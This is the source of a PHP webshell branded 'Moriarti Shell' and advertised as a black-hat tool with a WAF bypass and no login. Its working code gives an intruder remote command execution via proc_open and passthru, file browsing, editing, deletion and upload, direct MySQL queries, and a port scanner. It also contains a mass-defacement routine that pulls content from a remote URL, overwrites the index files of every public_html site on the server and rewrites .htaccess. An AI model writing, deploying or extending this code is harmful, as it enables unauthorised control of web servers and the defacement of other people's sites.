Moriarti Shell - Warnight Hawk Team

Black Hat Edition - Professional Webshell (Giriş Yok - Direkt Erişim) - WAF Bypassed ( 더욱 더욱 강화 )

Safe_mode: Php version : cURL: MYSQL: MSSQL: PostgreSQL: Oracle: Disable functions : 

" . moriarti_decode($directory_content_text) . htmlspecialchars($dizin) . ""; echo "
";
                    $dosyalar = scandir($dizin);
                    foreach ($dosyalar as $dosya) {
                        if ($dosya != "." && $dosya != "..") {
                            $tam_yol = $dizin . "/" . $dosya;
                            $izinler = substr(sprintf('%o', fileperms($tam_yol)), -4);
                            $tip = is_dir($tam_yol) ? moriarti_decode($directory_text) : moriarti_decode($file_text);
                            $boyut = is_dir($tam_yol) ? '-' : filesize($tam_yol) . ' bytes';
                            echo $tip . " " . htmlspecialchars($dosya) . " (" . moriarti_decode($permissions_text) . $izinler . ", " . moriarti_decode($size_text) . $boyut . ") ";
                            echo " [" . moriarti_decode($delete_text) . "]";
                            echo " [" . moriarti_decode($copy_text) . "]";
                            echo " [" . moriarti_decode($edit_text) . "]";
                            echo "
"; } } echo "
"; } else { echo "

" . moriarti_decode($not_file_dir_error) . "

"; } } ?> " . moriarti_decode($delete_success_text) . htmlspecialchars(basename($dosya_yolu)) . "

"; } else { echo "

" . moriarti_decode($delete_error_text) . htmlspecialchars(basename($dosya_yolu)) . "

"; } } elseif (is_dir($dosya_yolu)) { if (@rmdir($dosya_yolu)) { echo "

" . moriarti_decode($dir_delete_success_text) . htmlspecialchars(basename($dosya_yolu)) . "

"; } else { echo "

" . moriarti_decode($dir_delete_error_text) . htmlspecialchars(basename($dosya_yolu)) . "

"; } } else { echo "

" . moriarti_decode($not_file_dir_error) . "

"; } } else { echo "

" . moriarti_decode($invalid_path_error) . "

"; } } ?> " . moriarti_decode($copy_success_text) . htmlspecialchars(basename($dosya_yolu)) . " -> " . htmlspecialchars(basename($yeni_dosya_yolu)) . "

"; } else { echo "

" . moriarti_decode($copy_error_text) . htmlspecialchars(basename($dosya_yolu)) . "

"; } } else { echo "

" . moriarti_decode($invalid_path_error) . "

"; } } ?>

" . moriarti_decode($dir_create_success_text) . htmlspecialchars($yeni_dizin_yolu) . "

"; } else { echo "

" . moriarti_decode($dir_create_error_text) . "

"; } } ?>

" . moriarti_decode($file_read_header) . htmlspecialchars(basename($dosya_yolu)) . ""; if (isset($_GET['edit']) && $_GET['edit'] == 'true') { $dosya_icerigi = htmlspecialchars(file_get_contents($dosya_yolu)); ?>

";
                        echo highlight_file($dosya_yolu, true) ? highlight_file($dosya_yolu, true) : htmlspecialchars(file_get_contents($dosya_yolu));
                        echo "
"; echo "[" . moriarti_decode($edit_text) . "]"; // Edit link in viewer } } else { echo "

" . moriarti_decode($file_not_readable_error) . "

"; } } ?> " . moriarti_decode($invalid_path_error) . "

"; } else { if (@file_put_contents($dosya_yolu, $dosya_icerigi) !== false) { echo "

" . moriarti_decode($file_edit_success_text) . htmlspecialchars($dosya_yolu) . "

"; echo "Geri dön"; } else { echo "

" . moriarti_decode($file_edit_error_text) . "

"; } } } ?>

" . moriarti_decode($command_output_header) . ""; echo "
";
                    $output = '';
                    if ($stderr_bagli_tut) {
                        $descriptors = array(
                            0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
                            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
                            2 => array("pipe", "w")   // stderr is a pipe to write to
                         );
                        $process = proc_open(escapeshellcmd($komut), $descriptors, $pipes);

                        if (is_resource($process)) {
                            fclose($pipes[0]);    // No data to send to stdin

                            $output = stream_get_contents($pipes[1]);
                            fclose($pipes[1]);

                            $error_output = stream_get_contents($pipes[2]);
                            fclose($pipes[2]);

                            $return_value = proc_close($process);

                            echo htmlspecialchars($output);
                            if (!empty($error_output)) {
                                echo "\nStderr:\n" . htmlspecialchars($error_output);
                            }
                        } else {
                            echo "

Komut yürütülemedi.

"; } } else { ob_start(); passthru(escapeshellcmd($komut), $return_var); $output = ob_get_clean(); echo htmlspecialchars($output); if ($return_var !== 0) { echo "\nKomut hata kodu ile sonlandı: " . $return_var . ""; } } echo "
"; } } ?>


" . moriarti_decode($invalid_path_error) . "

"; } else { if (isset($_FILES['yuklenecek_dosya']) && $_FILES['yuklenecek_dosya']['error'] == 0) { $dosya_adi = basename($_FILES['yuklenecek_dosya']['name']); $hedef_yol = $hedef_dizin . '/' . $dosya_adi; if (@move_uploaded_file($_FILES['yuklenecek_dosya']['tmp_name'], $hedef_yol)) { echo "

" . moriarti_decode($upload_success_text) . htmlspecialchars($hedef_yol) . "

"; } else { echo "

" . moriarti_decode($upload_error_text) . "

"; } } else { echo "

" . moriarti_decode($upload_select_error_text) . "

"; } } } ?>



" . moriarti_decode($file_not_readable_error) . "

"; } } ?> " . moriarti_decode($invalid_path_error) . "

"; } else { if (@file_put_contents($duzenlenecek_dosya, $dosya_icerigi) !== false) { echo "

" . moriarti_decode($file_edit_success_text) . htmlspecialchars($duzenlenecek_dosya) . "

"; } else { echo "

" . moriarti_decode($file_edit_error_text) . "

"; } } } ?>

" . moriarti_decode($invalid_path_error) . "

"; } else if (file_exists($izin_yolu)) { $izin_modu = substr(sprintf('%o', fileperms($izin_yolu)), -4); echo "

" . moriarti_decode($permissions_header_text) . htmlspecialchars($izin_yolu) . "

"; echo "
" . moriarti_decode($permission_mode_text) . htmlspecialchars($izin_modu) . "
"; } else { echo "

" . moriarti_decode($file_or_dir_not_found_error) . "

"; } } ?>

" . moriarti_decode($invalid_php_file_error) . "

"; } else if (is_readable($kod_yolu)) { echo "

" . moriarti_decode($source_code_display_header) . htmlspecialchars($kod_yolu) . "

"; echo "
";
                    echo highlight_file($kod_yolu, true);
                    echo "
"; } else { echo "

" . moriarti_decode($file_not_readable_error) . "

"; } } ?>

" . moriarti_decode($db_connect_error) . mysqli_connect_error() . "

"; } else { echo "

" . moriarti_decode($sql_result_header) . "

"; $sonuc = @mysqli_query($baglanti, $sql_sorgusu); if (!$sonuc) { echo "

" . moriarti_decode($sql_query_error) . mysqli_error($baglanti) . "

"; } else { if ($sonuc === true || $sonuc === false) { echo "

" . moriarti_decode($sql_success_no_data) . mysqli_affected_rows($baglanti) . "

"; } else { echo "
";
                                $alanlar = mysqli_fetch_fields($sonuc);
                                echo "";
                                foreach ($alanlar as $alan) {
                                    echo "";
                                }
                                echo "";
                                while ($satir = mysqli_fetch_assoc($sonuc)) {
                                    echo "";
                                    foreach ($satir as $deger) {
                                        echo "";
                                    }
                                    echo "";
                                }
                                echo "
" . htmlspecialchars($alan->name) . "
" . htmlspecialchars($deger) . "
"; mysqli_free_result($sonuc); } } mysqli_close($baglanti); } } else { echo "

" . moriarti_decode($empty_command_error) . "

"; } } ?>

" . moriarti_decode($ping_results_header) . htmlspecialchars($ping_hedef) . ""; echo "
";
                @passthru("ping -c 3 " . escapeshellarg($ping_hedef));
                echo "
"; } ?>

" . moriarti_decode($traceroute_results_header) . htmlspecialchars($traceroute_hedef) . ""; echo "
";
                @passthru("traceroute " . escapeshellarg($traceroute_hedef));
                echo "
"; } ?>

" . moriarti_decode($whois_results_header) . htmlspecialchars($whois_hedef) . ""; echo "
";
                @passthru("whois " . escapeshellarg($whois_hedef));
                echo "
"; } ?>

" . moriarti_decode($nslookup_results_header) . htmlspecialchars($nslookup_hedef) . ""; echo "
";
                @passthru("nslookup " . escapeshellarg($nslookup_hedef));
                echo "
"; } ?>

" . moriarti_decode($port_scan_results_header) . htmlspecialchars($hedef_ip) . ":" . $baslangic_port . "-" . $bitis_port . ""; echo "
";
                set_time_limit(60); // Tarama için zaman sınırı
                for ($port = $baslangic_port; $port <= $bitis_port; $port++) {
                    $servis_adi = getservbyport($port, 'tcp');
                    $servis_adi = $servis_adi ? $servis_adi : moriarti_decode($unknown_service_text);
                    $fp = @fsockopen($hedef_ip, $port, $errno, $errstr, 1);
                    if ($fp) {
                        echo "Port " . $port . " (" . $servis_adi . "): " . moriarti_decode($open_text) . "\n";
                        fclose($fp);
                    } else {
                        echo "Port " . $port . " (" . $servis_adi . "): " . moriarti_decode($closed_text) . "\n";
                    }
                }
                echo "
"; } ?>

" . moriarti_decode($deface_log_error_prefix) . ": defaceSource parametresi gerekli
"; die(); } $defaceSource = @file_get_contents($_GET["defaceSource"]); if ($defaceSource === false) { echo "
" . moriarti_decode($deface_log_error_prefix) . ": " . moriarti_decode($deface_url_content_error) . "
"; die(); } function updateHomePageFiles($dir) { global $deface_dir_not_found; if (!is_dir($dir)) { echo "
" . moriarti_decode($deface_dir_not_found) . ": {$dir}
"; return; } $handle = opendir($dir); if ($handle) { while (false !== ($entry = readdir($handle))) { if ($entry === '.' || $entry === '..') { continue; } $fullPath = $dir . '/' . $entry; if (is_dir($fullPath)) { if ($entry === 'public_html') { updateIndexFiles($fullPath, $GLOBALS['defaceSource']); $domainPath = dirname($fullPath); $domain = basename($domainPath); if (!in_array($domain, $GLOBALS['changed_domains'])) { $GLOBALS['changed_domains']= $domain; } } else { updateHomePageFiles($fullPath); } } } closedir($handle); } } function updateIndexFiles($publicHtmlPath, $defaceSource) { global $deface_changed_file_success; $indexFiles = ['index.html', 'index.php', 'default.php', 'default.html']; $foundIndexFile = false; foreach ($indexFiles as $file) { $filePath = $publicHtmlPath . '/' . $file; if (file_exists($filePath)) { $content = $defaceSource; @file_put_contents($filePath, $content); echo "
" . moriarti_decode($deface_changed_file_success) . ": {$filePath}
"; $foundIndexFile = true; } } if (!$foundIndexFile) { $newIndexFilePath = $publicHtmlPath . '/index.html'; $content = $defaceSource; @file_put_contents($newIndexFilePath, $content); global $deface_created_file_success; echo "
" . moriarti_decode($deface_created_file_success) . ": {$newIndexFilePath}
"; } updateHtaccess($publicHtmlPath); } function updateHtaccess($publicHtmlPath) { global $deface_htaccess_changed_success, $deface_htaccess_created_success; $htaccessPath = $publicHtmlPath . '/.htaccess'; if (file_exists($htaccessPath)) { $htaccessContent = "DirectoryIndex index.html\n"; @file_put_contents($htaccessPath, $htaccessContent); echo "
" . moriarti_decode($deface_htaccess_changed_success) . ": {$htaccessPath}
"; } else { $htaccessContent = "DirectoryIndex index.html\n"; @file_put_contents($htaccessPath, $htaccessContent); echo "
" . moriarti_decode($deface_htaccess_created_success) . ": {$htaccessPath}
"; } } $GLOBALS['defaceSource'] = $defaceSource; updateHomePageFiles($path); if (!empty($GLOBALS['changed_domains'])) { echo "
"; echo "

" . moriarti_decode($deface_summary_header) . "

"; echo "
" . moriarti_decode($deface_total_domains_counter) . ": " . count($GLOBALS['changed_domains']) . "
"; echo ""; echo "
"; } echo "
" . moriarti_decode($deface_operation_completed) . "
"; echo "
" . moriarti_decode($deface_coded_by) . "
"; ob_end_flush(); } ?>

: HTTP User-Agent Başlığı (Mevcut):